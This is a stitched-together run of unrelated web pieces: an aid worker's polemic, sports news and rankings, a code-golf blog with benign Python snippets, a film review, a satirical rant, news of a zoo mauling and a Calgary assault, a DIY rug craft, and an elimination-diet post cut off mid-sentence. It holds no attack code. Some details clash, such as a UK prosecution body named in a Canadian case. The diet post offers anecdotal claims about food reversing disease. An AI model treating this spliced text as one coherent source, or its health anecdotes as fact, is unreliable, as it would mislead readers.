Times) Aid dependency blights Africa. The cure is in the credit crisis. (Independent) The road to ruin (Guardian) Everybody knows it does not work (Guardian)More here Of course the aid "industry" has reacted. But barely. As of today, a Google search only shows two articles: A half-assed reply by the co-founder of "One" in the Financial Times, and a more relativating answer by the CEO of SOS Children UK.Another half assed answer by Oxfam Dambisa clarifies in one article:My response, as an aid worker, is this:If one limits the discussion only to aid given to a government (bilateral or via IMF/Worldbank), we are limiting the discussion too much. Weneed to question any form of aid. Even though aid given to government institutions is an obvious (and easy) target of criticism.But also humanitarian aid, emergency aid, should be looked at. Why, after decennia of foreign aid, is the West still crawling over each other to provide relief in cases of natural disasters? What is done to institutionally ensure these countries (which are always the same, by the way), can (mostly) take care of their own disaster response?It is clear that traditional aid does not work. And has never worked. Otherwise aid organisations would have been able to prove at least some progress in countries like Somalia, Ethiopia, DRC, Afghanistan,...If it took us 40-50 years to come to that conclusion, so be it. A pity of the money wasted, but at least let's start changing the mechanics now.Aid has been a self-fulfilling and self-fueling economic mechanism. I have always said there are three markets in the world economy: the official market, the black market and the aid market.All three keep the world economy turning. Unfortunately mostly the "first world economy". Here is how I see it work:- Too many donor governments are all too happy to channel foreign aid through whatever means. After all, they need to look good on the Millennium Development Goals (MDG) performance scale. And it is good for public opinion. Helps get people re-elected.- Too many aid organisations are all too happy to transform that donor money into projects. After all, they need to sustain themselves. No, or hardly ANY aid agency will turn down money from a donor. No matter how ridiculous or un-needed the targets are (hats off to MSF for refusing more Tsunami aid two weeks after the disaster , stating they had sufficient funding. Which aid agency would have the courage to do that?)- So one loves to give, the other loves to accept. All happy-happy.- Foreign "aid" as such is an industry by itself. It employs people, it keeps "the economy" running. But whose economy?No surprise a lot, if not most, of the goods procured by aid organisations is produced in "the West". Many services are procured from companies in "the West". In this aspect, not much difference between "a war in Iraq" and "foreign aid", is there? Both are wagging the dog of 'our economy'.- Foreign "aid" has been targeting mostly countries a donor country had a political, economical or military connection with. "Aid" was just a way of keeping government counterparts happy. No matter if the aid was effective or not. It kept the targeted country as an ally. We got cheap resources from them, or they did not 'fall' into the hands of the communists, or more recently in the hands of the islamists.For the 'west', it has always been best if a developing country sitting on a lot of natural resources (oil, diamonds, gold, minerals) was unstable.It was a way to get those resources cheaply. During the Angola civil war, their oil was sold for many years in advance, only to keep the cost of war going.Look around you: which countries have gone through the most devastating levels of poverty and civil war? Liberia, Sierra Leone, Angola, DRC, Somalia, Sudan... I bet you if we make a top 10 list of the countries (in the world) with the longest civil wars, and you tick those with abundant natural resources, you would be surprised of the correlation.OK, I will relativate: natural resources or a country's strategic (political, religious or geographical) position.. Should cover all on the top 10, top 20 list.So if aid would have been effective, and would have brought peace, prosperity or stability, in what way would it not have been decremental to the Western Economy? God forgive if a country like that would become an economical power. An independent political entity with its own mind. Gosh, think what that would have done to the political position of the powers-that-be?- I agree with Dambisa: government to government aid does not work. As electorate, we should hold our governments accountable to give us real and verifiable figures of effectiveness.- Worldbank aid does not work. Same thing: Show us verifiable figures of effectiveness.- Effectiveness of aid in no matter what shape or form, should be measurable along the same criteria. Criteria should include clear and concrete targets from the onset, and measures of achievement. Aid should measured by the effectiveness for the individuals targeted, not by the effectiveness for institutions (which can not be measured).- Any aid organisation, any humanitarian organisation should work on a voluntary funding basis. No guaranteed annual funding. Funding per project. You don't perform? Next time you don't get funding anymore. Worldbank the first to start.- Aid, any aid, should be audited by external bodies. Objective figures should be provided for overhead.- Aid, any aid, should be governed by the same measures of governance quality as the commercial market (as long as it is not the US-standards of governance. We all saw where that one brought us).Why don't we apply ISO-9002 to aid? Let's make an ISO standard for aid. After all we spent trillions on aid. And it our money. Us, tax payers, need to know. We cry foul when we see the government wasting money on ineffective road building or useless prestige projects, but don't cry foul when we pour billions over the 'poor'? Because we get soft hearted when seeing children crying on TV? Think what you do to that child to ensure it stops crying the next year. And the year after. And the year after.OkayOkayOkay. I am getting off my soapbox now. -Suspended Oregon strength coach Irele Oderinde will be reinstated Sunday, an Oregon spokesman told CBS Sports Friday. Oderinde was suspended for a month without pay on Jan. 17 after three players were hospitalized following what were characterized as strenuous workouts. The parent of one of the Ducks said her son had been diagnosed with rhabdomyolysis. So-called “rhabdo” is commonly caused from overexertion. Muscle tissue breaks down, leaks into the bloodstream and can cause kidney failure. At the time of the suspension, new coach Willie Taggart offered his “sincere apologies” in a statement released by the school. Oderinde -- who came to Oregon with Taggart from South Florida -- will resume his normal duties according to the spokesman. The original suspension was for a month, but the exact date of his reinstatement wasn’t immediately clear. Former football strength coach Jimmy Radcliffe had taken over Oderinde’s duties during the suspension. It was previously announced that Oderinde will begin reporting to Andrew Murray, Oregon’s director of performance and sports science. He has previously reported to Taggart. Taggart visited the three players while they were hospitalized. “As the head football coach, I hold myself responsible for all of our football-related activities and the safety of our students must come first” he said in a statement. -Speculation is often thrown around about what kind of hidden gems are lurking at the Nike campus in Beaverton, OR. This inside look at CEO Mark Parker's office should give you a give idea of just what sort of crazy Nike memorabilia and history is housed at the Nike headquarters. Parker's office is jam packed with a frenzied collection of art and shoes that manifests all of the various influences and iterations of the Nike lineage. Unreleased samples, one off promo materials, and classic models are found in the various nooks of the room alongside sculptures and scraps of the Nike story. This baffling gallery of photos really shows how much the business heads at Nike stay grounded in the company's roots of innovative design. Continue reading to take a look at the rest of this photo set, and then head over to Whitewall to read their interview with Mark Parker. via: fubiz ADVERTISEMENT Thanks for watching! Visit Website ADVERTISEMENT Thanks for watching! Visit Website -Code Golf is the amusement of writing as short as possible a program to perform a given task. So for example, if the task is to compute the average of a list of numbers (which could be changed at any moment), you might do this: numbers = [1, 2, 3, 4, 5, 6, 7, 8, 9] sum = 0 for num in numbers: sum = sum + num avg = sum / len(numbers) print("The average is", avg) 140 characters (just by coincidence!), or this: n=[1,2,3,4,5,6,7,8,9] print(sum(n)/len(n)) 42 characters. In doing this you sacrifice readability, e.g. removing redundant spaces, and shortening variable and function names to 1 character. It’s just one step away from obfuscated programming, where the goal is to conceal what the program does! And PEP8 goes out the window… Obviously (I hope) the point of the exercise is simply for the intellectual challenge; and if you’re competitive, there are websites where you can compete against other programmers. Besides the intellectual challenge, you may also find it improves your coding skills and language knowledge. Of course, you won’t want to take the obfuscating code-shortening techniques back into your professional environment, but other aspects of golf coding concern the use of appropriate algorithms, and knowledge of the available features of your programming language. You’ll find code golfing to be good programming exercise! Another restriction, for your delectation and delight, is to restrict the programs to be no longer than 140 characters, so that they may be tweeted. Here are some examples. I’ll add more as I tweet them. Please follow me @Tuxar_uk and so long as it’s clear to me that you tweet relevant stuff, I’ll follow you back. We could exchange code tweets – preferably in Python, but other mainstream languages (such as you might find on a standard Linux installation, e.g. C, Perl) would be acceptable too. This is an adaptation of the introductory program at the Python Turtle page. The changes are: Remove syntactically redundant spaces (e.g. between ‘import’ and ‘*’) Replace ‘True’ with ‘1’ In the loop, put statements on same line whenever possible (to avoid indentation space) Make the picture bigger (no golf effect but nicer picture!) Remove ‘done()’ from turtle import* color('red','blue') begin_fill() while 1: fd(600);lt(170); if abs(pos())<1:break end_fill() 119 characters. Unfortunately we needed several to be able to append the image link. 116 characters. This is adapted from Rosetta Code (‘Other version’). The most evil thing here was to use 1.4 as the square root of 2, so as to get both the code and the picture into the tweet. In future I’ll tweet the program and picture separately. Dragon Curve @ Wikipedia. 137 characters. Ignore the warnings! from pylab import* from numpy import* i=99 X,Y=mgrid[-2:2:999j,-2:2:999j] C=Z=X*1j+Y while i:X[(abs(Z)>2)]=i;Z=Z*Z+C;i-=1 show(imshow(X)) Mandelbrot Set @ Wikipedia. 139 characters Harmonograph @ Wikipedia. 129 characters. Fractal @ Wikipedia. 112 characters, smallest of all! I started with this code (190 characters, even if it says 90) and found a symmetry I could exploit. L() & R() are essentially the same, with sign changes. Also the function defs for l() & r() aren’t needed. Try replacing S(7,1) with S(8,1). It will take longer but draw a bigger picture. Sierpiński arrowhead curve @ Wikipedia. It’s a fractal curve similar in appearance and identical in limit to the Sierpiński triangle. Koch Snow Flake Further Information [welcomewikilite wikiurl=”https://en.wikipedia.org/wiki/Code_golf” sections=”Short description” settings=””] -Art: Lucas Lasnier I am surprised by the apparent interest in ‘musigh’ tees, but I think it’s doable. The question is the design though: would you prefer just ‘musigh’ with the original font, or just the ‘m’, or a different font, or maybe a tagline or some kind of picture/logo? Should it be large in the middle, or something smaller aligned to the side? There are many possibilities, so please share your thoughts. I would like keep the price to the bare minimum (i.e. production costs) for everyone, so I am thinking something I could make with my sub-decent photoshop skillz, or if you submit your own work, please only do if you are content with a heartfelt thank you in exchange. The expected price from Redbubble tees is around $20-25 + shipping. If you know a better/cheaper custom tree pressing company (preferably with international shipping and single/on-demand production) please let me know. Last but not least, here are some superb sounds for you to pleasure your ears with. P.S.: My email is currently dead so please use the comment section or Facebook instead. Cherokee – Don’t Matter (feat. Darianna) http://musigh.com/wp-content/uploads/2014/02/Cherokee-Dont-Matter-feat.-Darianna.mp3 We Were Evergreen – Daughters (Aeroplane Remix) http://musigh.com/wp-content/uploads/2014/02/We-Were-Evergreen-Daughters-Aeroplane-Remix.mp3 Housemate – Always Here For You (Sammy Senior Remix) http://musigh.com/wp-content/uploads/2014/02/Housemate-Always-Here-For-You-Sammy-Senior-Remix.mp3 Cherokee | Darianna | We Were Evergreen | Aeroplane | Housemate | Sammy Senior -Tiger mauls visitor to death at Ningbo zoo A man died after being mauled by a tiger at a wildlife zoo in Ningbo, East China's Zhejiang Province on Sunday. The visitor crossed an isolation strip and stepped into the tiger enclosure in Ningbo Youngor Zoo, according to a witness. Staff members used fireworks to drive away the tiger after it mauled the man and tried to snatch him away. Videos circulated online show the man in blood as the tiger snatched him. There is a river that separates the tiger enclosure and the visitors. It is unknown why the man crossed the river. A woman was mauled to death in July at the Badaling Safari World in Beijing, where visitors can drive in their vehicles but the woman went out of her car despite warnings. -Considering how many times the work of Stephen King has been adapted for film and TV over the past 40 years, it may seem surprising that it's taken this long for The Dark Tower to make the jump. As can happen with some titles, The Dark Tower has been through various filmmakers' hands and studios in the past decade alone; in 2007, a film adaptation was going to be directed by J.J. Abrams and written by Carlton Cuse and Damon Lindelof of Lost, and a few years after that, Ron Howard was going to take the helm. The just-released feature film, directed by Nikolaj Arcel, suggests this much, unfortunately: The Dark Tower may not work as a movie. It was always going to be a challenge to tackle the series of books that King wrote between 1982 and 2012. Eight novels being translated into films potentially could have been successful, if the franchise followed in the footsteps of massive hits like Harry Potter or The Lord of the Rings, the latter of which serves as one of many cultural reference points within Dark Tower. The core conflict of the story — the forces of good and evil fighting each other with the fate of humanity hanging in the balance — is plenty familiar to audiences worldwide. But King's version of this battle doesn't unfold without jumping back and forth in time, introducing characters before removing them unexpectedly, and so on; it zigs where other franchises zag, which is admirable to experience as a reader, but becomes an obstacle in the adaptation process. There are four credited writers for the final cut of The Dark Tower: Akiva Goldsman, Jeff Pinkner, Anders Thomas Jensen and Arcel himself. Goldsman was involved in the project since Howard was first attached in 2010, with Pinkner helping him rework the script a few years later, before Jensen and Arcel joined. There is an unavoidable sense of too many cooks in the kitchen when considering the script for Dark Tower, even though the film is only 95 minutes long. There's nothing inherently wrong with short films; frankly, most summer movies have a habit of being 20 to 30 minutes too long, so 95 minutes feels like a breath of fresh air. But weirdly, the world of Dark Tower being unveiled in film form in just an hour and half seems wrong; the movie feels like it should be 20 to 30 minutes longer. However, the relative brevity of Dark Tower masks the genuine problem at its core: This isn't a straight-up adaptation of King's first story, The Gunslinger. Instead, it's a kind of sequel/reboot, focusing not on Idris Elba's heroic character Roland Deschain but squarely on the tortured boy Jake Chambers (Tom Taylor). In this version of the story, Jake is haunted by dreams of another dimension, known as Mid-World, and of Roland and his immortal foe, the Man in Black (Matthew McConaughey). Eventually, Jake finds his way into Mid-World at the center of the battle, in part because he's gifted with psychic abilities known as "the shine" (one of a number of references in the film to other King works). Jake functions very clearly as an audience surrogate, encountering Roland and the Man in Black after a surprisingly long buildup. While it makes sense to ease unfamiliar audiences into the world of Dark Tower, this choice also suggests a timidity on the writers' part to dive straight into the weirdness of King's stories. What's most baffling about the way that Dark Tower unfolds on the big screen is that it's clearly designed to be the first chapter in a longer filmed series. On Thursday, The Hollywood Reporter broke the news that the Dark Tower TV series now has a showrunner. The plan has always been for a show to follow the first movie (before once again shifting back to another film), but even if Dark Tower always planned to shift from film to TV, it's hard to grasp why the film isn't just a direct adaptation of The Gunslinger, the opening salvo in the franchise, as opposed to something that sometimes calls to mind The Last Action Hero, with a larger-than-life hero reacting as a fish-out-of-water to the way that the real world operates. The resulting film is strangely, painfully lifeless outside of the gruff and firm performance from Elba as Roland. It may seem impossible to imagine a film where McConaughey appears less seductively charismatic than flat-out bored, but even in a role of innate cruelty and villainy, that's what you get from him, and from the film itself. There are parts of Dark Tower that work onscreen, such as a brief moment where we see Roland pause and carefully listen to the air around him before he aims to kill a bad guy who is hundreds of feet away. Casting Elba was the shrewdest decision involved with making this film, as he makes far more out of his diminished role than the script does. But every other choice surrounding the pic suggests that someone — the studio or the filmmakers or someone else — was just so intent on making a Dark Tower adaptation that they were less worried about handling the time-spanning source material correctly. There's still a good story or two to tell in this universe, but this film sets things back. -If this planet exploded tomorrow I wouldn’t shed a tear. Environmentalists say evil mankind is destroying a beautiful God-given place. Really? Mudslides, earthquakes and twisters kill millions (thousands) of people every year. Innocent planet? I judge by deeds not words. Yes, pollutants kill. But so do rockslides. If you talk to the average resident of a natural disaster location, they will be glad to tell you the planet has done as much evil as the average multinational in terms of lives taken in their local community. Earth has these “natural occurrences” that devastate homes and villages. But are they really natural occurrences? Sounds more like indulgent planetspeak for the insane outbursts of a maniac – like a serial killer that’s handsome but then has these episodes of murder. I’ve experienced this planet’s wrath first hand ... well, wrath is too strong a word, and so is firsthand for that matter. I’ve experienced this planet’s harassment, from a slice of pizza getting soaked by a sudden rainstorm to a sunburn that left me unable to put on my shirt when I was a child. Living with this planet is like living with an alcoholic. It makes me wonder if the climate change is man-made or another mood swing by this ball of gas. That’s why, every time there’s a flood in Pakistan, I drop an aluminium can into the wrong trash container. Every time there is a hurricane, I “miss” the garbage can and throw my fastfood wrapper on the ground. This is what you call trying to “teach the earth” how to treat people. I was there for Hurricane Sandy. I bought a refrigerator full of food and then this hurricane came along and knocked my power out for three days. All that food went rotten. Even worse: half the city came to a grinding halt. What the hell was that about? You have a problem with downtown, but midtown was fine, planet? Weirdo. This happens every year in Florida and North Carolina. And twisters in the Midwest. And you wonder why the red states don’t believe in global warming. What do you expect? They’ve been getting their houses thrown around since Auntie Em’s place got lit up back in the 30s and you think they want to put in tax dollars to save a place that tries to kill them every year? The planet needs to realize that this is a two-way street. You throw earthquakes, that’s fine. We all get crazy. I get it. But without us, you’d be like Mars: an empty planet that gets excited because somebody discovered a little bit of water. Don’t forget: we made you just like you made us. We need each other. And guess what, beautiful planet – you’re not that beautiful. A couple of mountain ranges, a Grand Canyon and maybe a few waterfalls ... but the rest of you is plain Jane or unattractive. I’d give you a six or six and a half, so get over yourself. -An attack on a 17-year-old teenager is being treated by police as a possible hate crime A lesbian teenager was attacked and beaten by a group of four teenage boys in the Canadian city of Calgary last week. The attack, which happened late at night last Thursday (11 April), is being treated by police as a possible hate crime. The 17-year-old victim was approached by the group as she was on her way home from a friend’s house, CTV News reports. Despite her efforts to run away, the group punched and kicked the girl several times as well as hurling a number of homophobic slurs at her. The victim, who has asked not to be identified, said one of her attackers also filmed the beating on his phone. In an interview with Sun News, she said: ‘I want them to be found and I want people to know this is still happening.’ ‘I usually feel so safe and everyone says I’m a tank because I’m a hockey player and no-one ever messes with me, but now I feel so cowardly that I keep looking over my shoulder.’ ‘I have a black eye, a split lip, the inside of my cheek is cut, a cut on my forehead, and my eye is so swollen I can barely open,’ the victim added. Police working in the community of New Brighton remain unsure of the motives for the attack, which is being investigated by the Crown Prosecution Service’s Hate Crimes Unit. Uncertainties surround whether the victim was targeted randomly, or because of her sexuality. Sexual orientation is explicitly mentioned as a ground of prohibited discrimination in the human rights acts of all jurisdictions in Canada. -Caltech will rename its medical engineering department after receiving a $30 million gift from Andrew and Peggy Cherng, the husband and wife founders of the Panda Restaurant Group, which owns Panda Express. The Andrew and Peggy Cherng Department of Medical Engineering is the first of the university’s departments to be named and endowed, according to Caltech. For the Cherngs, the decision to donate came from a desire to give back to a community that supported their family’s business from the beginning. The first Panda Inn was started by Andrew and his father, Chef Ming-Tsai Cherng, in Pasadena in 1973. They now operate more than 2,000 Panda Express restaurants across the country and around the world. “As immigrants, we benefited a lot from this country,” said Peggy Cherng, a member of Caltech’s board of trustees since 2012. “We truly want to promote the spirit of giving and paying it forward.” The Cherngs agreed to have their name attached to the department in the hopes of inspiring others, particularly in the Chinese community, to follow in their footsteps, Peggy Cherng said. The co-chief executive officer of Panda came from the engineering world, first working in the aerospace industry before she joining the family business in 1982. She used her engineering background to streamline operations at the restaurants. “Andrew and Peggy Cherng’s story is a quintessential example of success rooted in Pasadena and impact felt across the world,” said Caltech president Thomas Rosenbaum in a statement. “In the same way, their extraordinary gift to support the country’s first medical engineering department here at Caltech will enable new discoveries and cures, rippling out to improve human lives everywhere.” Caltech’s medical engineering department applies engineering principles to health issues to create devices and systems that will lead to “cheaper, more effective and more accessible health care.” “The payout will be used to support research and education in the department; it will help support people, ideas, instruments,” said Ravi Ravichandran, leadership chair of the Division of Engineering and Applied Sciences. “It will impact lives.” A portion of the endowment is set aside so the department head can flexibly and quickly advance the most promising projects and initiatives. Researchers at Caltech work closely with the Keck School of Medicine at USC, the Geffen School of Medicine at UCLA, Huntington Memorial Hospital and the City of Hope. The Chenrgs have a person connection to City of Hope as Ming-Tsai Cherng received care there in 1981. The family has a long history of giving back. Panda Cares, the philanthropic arm of Panda Restaurant Group that supports health care, education and disaster relief, raised $21 million through guest donations at restaurants in 2016. -In the 2012 lockout shortened NHL season, fans of hockey saw a few outbreak performances from some unknown goalies. Household names like Henrik Lundqvist and Jonathan Quick continued to be great netminders, while others like Sergei Bobrovski and Craig Anderson almost came out of nowhere and stole the show. Storylines from Bobrovsky winning the Vezina trophy, to Marc-Andre Fleury falling apart in the playoffs made this season a unique one for goaltending. The goalie may not just be the single most important position in hockey, but in all of sports, which is why this list of the top 30 goalies in hockey is so valuable. There are many goalies in this upcoming season that can move up or move down on this list. Lists like these are always subject to change, and rightfully so. Finding a consistent goalie in this league is difficult, but if you can, he will be the backbone of the team. Note: This list is the best 30 goalies in hockey, not just starting goalies, which is why you may see two goalies representing the same fortunate team. Today I present you with #30 through 16. Be sure to check back tomorrow as we start at #15 and countdown to the #1 goaltender in the NHL. 30. Semyon Varlamov You may have seen his mug in a commercial, but more importantly he’s coming off of easily his worst season to date. If Varlamov can’t turn it around this season, Colorado may be looking elsewhere in net. He’s still young, and has time to turn it around, but with a young Avalanche team, he will need to find a way to play consistent goaltending. 29. Ondrej Pavalec, Winnipeg Jets Pavelec has been very inconsistent in net for Winnipeg, and i seriously considered leaving him off this list. His .905 Save % was the lowest of his career last season, and this up coming season will be make or break for the Czech netminder. 28. Ray Emery, Philadelphia Flyers Emery filled in for an injured Corey Crawford in Chicago and went 17 – 1. Although playing behind such a great team, it gave him the opportunity to sign as a free agent where he will hopefully provide stability in net for Philly. Can it happen? For the Flyers sake, let’s just hope so. I don’t know if Ray is the definitive answer at goaltender, as many questions will need to be answered. 27. Jaroslav Halak, St. Louis Blues Halak’s season was shortened by injuries, but if he can get back to his 2011 form (just like as with Elliot), St. Louis will have the dynamic pairing in net they once had. Halak has had success, but will have to win the starting job back from Brian Elliot. 26. James Reimer, Toronto Maple Leafs If not for a third quarter collapse in game seven against the Bruins, Reimer may have found himself a bit higher on this list. But alas, the Maple Leafs traded for Jonathan Bernier to bolster up goaltending, and Reimer has some real competition for playing time. I like Reimer, and since he is so young i expect to find him on this list come next season. If not, you know who won the starting job. 25. Ben Bishop, Tampa Bay Lightning Bishop is very similar to Pekka Rinne in terms of size (6’7″), and the comparison is often made. Going in to a full season with one team will help him and Tampa can groom him for long term success.He and Andres Lindback will fight for the number one spot for the Lightning. 24. Devan Dubnyk, Edmonton Oilers Dubnyk has been highly criticized by many Oilers fans, but is young and can grow as the team should make the playoffs this season. This next Edmonton season is a deal breaker with Devan, and if he doesn’t improve will have to look elsewhere for a goalie. 23. Evgeni Nabokov, New York Islanders Nabokov was asked to carry almost 100% of the workload last year in net. In an 82 game season, that cant happen. Nabokov is still a good goalie, but the days of him starting 65 games a year are long gone. 22. Jonathan Bernier, Toronto Maple Leafs Even though I’m high on Bernier, I believe there are many good goalies and it shows in his ranking. He can be a number one goalie, and this season is his time to shine. This may have been the only good move Toronto made this off season (It was). 21. Marc-Andre Fleury, Pittsburgh Penguins Fleury proved to be the most impossible player to rank on this list. If he can recapture his last 2000’s form, he can help Pittsburgh to another title. If he can’t, you wont find him on this list next season. There are no excuses this season playing behind such a star-studded lineup. 20. Braden Holtby, Washington Capitals Holtby had an all-around solid 2012 season. After being thrust into a 2011 playoff series versus the Rangers, he took over the reigns as the starting goalie in D.C. Holtby has the potential to shoot up the rankings this season. 19. Brian Elliot, St. Louis Blues Elliot took over for Jaroslav Halak as the starting goalie in St. Louis due to an injury. Coming off of a Jennings trophy the season prior, the goaltending for the Blues took a big hit. Elliot had a decent performance, but it’s not close to his 2011 season. If he can get back to playing that way, he will earn his nineteenth slot on this list. 18. Mike Smith, Pheonix Coyotes Smith has the potential to end this upcoming season as a top-10 goalie, but has shown throughout his career than consistency has been an issue. If he can find success behind an amazing Coyotes defensive system, and stick with it, Phoenix will be back in the playoffs. 17. Roberto Luongo, Vancouver Canucks Luongo’s tenure in Vancouver has been odd to say the least. Management promises a trade, then trade’s the other guy. Either way, new coach JohnTortorella hopes to rejuvenate Roberto’s career, and get him back to Stanley Cup form. It can happen, it’s just remained to be seen. 16. Niklas Backstrom, Minnesota Wild Backstrom has been the starter in Minnesota since 2007. He has been a good goalie, quite steady and dependable, but not elite. Perhaps the product of a good system, Backstrom has had some success in Minnesota. That said, I don’t believe he is a top-15 goalie, and he will have much to prove with the strongest Wild team since he’s been there. Remember to check back tomorrow beginning with #15 on our list, culminating in the #1 goalie in the NHL. Thanks for reading, please feel free to follow me on twitter – @Larry_Scotti. Give the rest of the hockey department a follow while you’re at it – @LastWordBigMick, @ddmatthews, @dasimonetta, @CanuckPuckHead, @lastwordBKerr, @CMS_74, @TheHockeyMitch, and @LastWordOnNHL, and follow the site @lastwordonsport. Interested in writing for LastWordOnSports? If so, check out our “Join Our Team” page to find out how. Main photo credit: bridgetds via photopin cc -Hannah Foslien/Getty Images The Minnesota Vikings finished the 2012 NFL season with a 10-6 record, which included one of the best single-season rushing performances in league history by Adrian Peterson. The six-year veteran was a mere nine yards shy of breaking Eric Dickerson's record of 2,105 yards on his way to receiving the 2012 MVP award—the first running back to do so since LaDanian Tomlinson in 2006. In addition to coming off surgery to repair the torn ACL that Vikings' all-time leading rusher suffered a year earlier against the Washington Redskins, Peterson also underwent surgery for a sports hernia following the 2012 season. With Peterson at 100 percent entering the upcoming season, one could anticipate high expectations for a team sporting a top offensive line behind Matt Kalil, John Sullivan and Phil Loadholt. Add in a draft that included three selections in the first round—Sharrif Floyd, Xavier Rhodes and Cordarrelle Patterson—which all met immediate and future needs for the Vikings, you might expect the team to be on the radar as a potential contender in the NFC for a deep playoff run. Right? Well, not so fast. Instead, the Minnesota Vikings appear to be a team once again on the outside looking in as forecast by "experts" as another convoluted NFL season approaches. ESPN has the Vikings ranked 17th in its recent power rankings, with nine other teams ahead of them in the NFC. This means that even after the playoffs are set, Minnesota ranks fourth among teams watching from home. Out of all playoff teams from 2012, ESPN's rankings put the Vikings dead last prior to the start of the 2013 season, with two sub-.500 teams, the New Orleans Saints (7-9) and St. Louis Rams (7-8-1), both rated ahead of Minnesota. The experts over at Bristol are not the only ones down on the Vikings this year. Will Brinson of CBSSports.com predicts the Vikings will be under the win total odds of 7.5 set by Las Vegas. A difficult schedule and regression by Peterson are cited as the rationale for the prediction. Continuing with Vegas odds, Minnesota is the greatest long shot to win the Super Bowl among all 2012 playoff teams, coming in at 50-1 to bring home the Lombardy Trophy. And while Christian Ponder seems to be a common target for criticism, finishing 21st in passer rating at 81.2, the third-year quarterback has an improved arsenal of receivers with former Packer Greg Jennings and rookie Cordarrelle Patterson joining the team. Combine that with Pro Bowl MVP Kyle Rudolph and an emerging threat in slot receiver Jarius Wright, it would be fair for fans to scratch their head as to why so many pundits expect a 10-win playoff team to regress so much. However, this tends to be the trend for analysts predicting the fate of the Minnesota Vikings, a team that has not been to a Super Bowl since the 1976 season and has lost three NFC Championship Games over the last 15 years. History seems to be battling the likelihood for success of this upcoming season, one that includes the best running back in the NFL, young players continuing to develop at key positions and an overall improved team following free agency and the NFL draft. Looking at the overall landscape of the NFL, it's hard to find a team more underrated than the Minnesota Vikings in 2013. But maybe that's just the type of motivation the team needs to shake its harshest critics. Follow me on Twitter and Google+ Follow @MattStensrud -My girl has been asking me for a racetrack rug so she could play with her buddy. My girl can be very girly at time but she still loves boyish stuff like cars, dinosaurs, comic books, and superheroes. I was looking for an affordable white rug that I could paint racetracks on it, and I knew I didn’t want an expensive rug if the project didn’t turn out well. When I visited Ikea the other day, I found these $2 bath rugs and it was like a light bulb turned on top of my head. Now all I need was some black paint, painters tape and a brush to finish the project I had in mind. To create your own racetrack mats you will need: – IKEA Mats – Black Paint – White Paint Pen – Painter’s tape – Brush Directions: Mask the mat with the tape. Hand draw the racetracks with a pencil, then cover the desired areas with painter’s tape. Then paint over with black paint. Make sure not to add the paint directly to the mat but instead in the paint brush and apply lightly brush strokes on top of the tape edges. Let dry completely before removing tape. Paint the lines of the racetrack with a white pen. Hope your kiddos love this project. My girl loved helping me craft it. -Making it through the first 30 days of an elimination type diet is hard enough, what about after? You’re feeling better, how do you stay motivated? After a recent ‘fall from grace,’ I decided to put this post together. To help me remember and maybe help someone else find their way too. The actual internet definition of an elimination diet is “a short-term eating plan that eliminates certain foods.” I personally think of all specialized diets as elimination diets because you’re eliminating something that’s bothering you, with the opportunity to add things back in if they don’t bother you. When I refer to ‘staying on your elimination type diet,’ I mean plans like Gluten-free, Diabetic, Wahl’s Protocol, Keto, Paleo, Autoimmune Paleo and other similar types where you’re eliminating something for better health. I’ve had success with Autoimmune Paleo diet for 2 years now but, I fell off the wagon… right into a pile of brownies. It all started harmlessly enough with some fresh baked Armenian bread. Then, add in having to move, and needing the convenience (and cost) of fast food over home-cooked food, because, well, moving sucks, especially with chronic conditions. It was thirty days of slipping back into Painville, while moving. Sigh. Don’t want to let that happen again if I can help it so I’m outlining, in writing, what’s best for me to stay motivated. han·gry ˈhaNGɡrē adjective bad-tempered or irritable as a result of hunger. “I get very hangry if I miss a meal.” The most important thing in my food plan, is that I actually eat. For many years I didn’t get hunger pains, I got nausea. Which, I recently learned, is quite common. I never “wanted” to eat. Too nauseous, tired, and pained to cook anything, I essentially lived on coffee and cookies during the day until about 5 years ago. These tips assume you’re already on your chosen type diet, if you haven’t found one yet there’s a treasure trove of condition-specific advice available on the internet. Tip #1 Remember why you’re doing an elimination type diet in the first place. Despite having so many things wrong with me, I never would have agreed that food would make a difference. If someone said, “You should try eating better.” I would have thrown a shoe at them. I have an imbalance in my brain, it’s not a food problem! Or, is it? My new relationship with food started out of necessity. After a bad go with narcolepsy meds, I found myself unable to take big pharm meds anymore. Everything gave me terrible side effects, even over the counter meds. I wasn’t quite sure what to do and I stumbled on a TedX talk by Dr. Terry Wahls. She had pushed her MS (multiple sclerosis) into remission with just food. She did a lot of research on her own on pub med, in hopes of getting out of the zero gravity wheelchair she’d ended up in, despite the best doctors and treatments. She found certain foods reinforce the mitochondria in the brain (which is where MS and Parkinson’s come from – I think nocturnal myoclonus (now called PLMD) is similar to that as I was given an anti-seizure med (Klonopin) for it in the 90s.) Now here’s this lady, who went from a zero gravity wheelchair to a bicycle in six months. I was hooked. I thought, what’s the worst that can happen? I eat? Done. If you would like to watch this inspiring vid, it was life changing for me: So, I started my food journey with the Wahl’s protocol. It was too much food. I’ve never been much of a big eater, but I did feel better. I went to paleo and found it a little easier to manage but, the results were not “fantastic.” Then, I decided to do autoimmune paleo diet and voila! I discovered two of my major triggers are nightshade and food additives. If I ate anything with either of those, I would have horrible stomach problems and a lot more pain. I added chicken bone broth with garlic, mint water, turmeric root juice (link to recipe) and kvass (link coming soon) and I experienced the following: My pain levels reduced from an 8/10 upon waking to a 2/3. My acne rosacea cleared up. My burning scalp syndrome disappeared. My “voodoo doll” pain was virtually eliminated (I get a feeling like I’ve been stabbed by a needle at random points on my body – when it happens, I cry out “Somebody’s got my voodoo doll!” It helps to laugh.) I became less clumsy and had less numbness in my hands. Less brain fog. Less sleep episodes at work. Although I still nap 2x/day. Less episodes of RLS. Now it really only happens when I’m very overtired or fighting a nap. Constant nausea eliminated. Gas reduced and the ‘up into the shoulders’ pain that comes with it. My biofilm was reduced. When I went to the dentist, he said my mouth shows no signs of dryness damage (woo hoo!). The ‘legs giving out’ feeling I get from POTS when brushing my teeth was reduced. My skin is not as dry. I’ve only had 4 migraines since I started. I used to get them monthly. All that from food. I was sold. And, I’ve been able to add some things back in without suffering. To be honest, I probably could even do ‘more’ but, the things I haven’t given up, I’m not parting with, like coffee with sugar ;). I’m happy with where I am right now. Change is hard and it may come some day. I’m already doing waaaaay more than I ever thought I would. It often shocks people how committed to it I am. I try hard to encourage others and to help myself remember tip #1, I’m doing this because… I feel better when I do. Tip #2 Know what foods you can and can’t have A lot of people stress out about books and recipes for their chosen elimination diet, I didn’t have the headspace for that. I got a list of what was “allowed” on Autoimmune Paleo diet and I just started cooking with only those ingredients. I know which meats, veggies and spices I can have and I throw them together in one way or another. After I got to a point where I felt better, I would try and add things in. Bell peppers didn’t make the cut but hummus did, I use it as a salad dressing :). If you need help getting creative in the kitchen, I highly 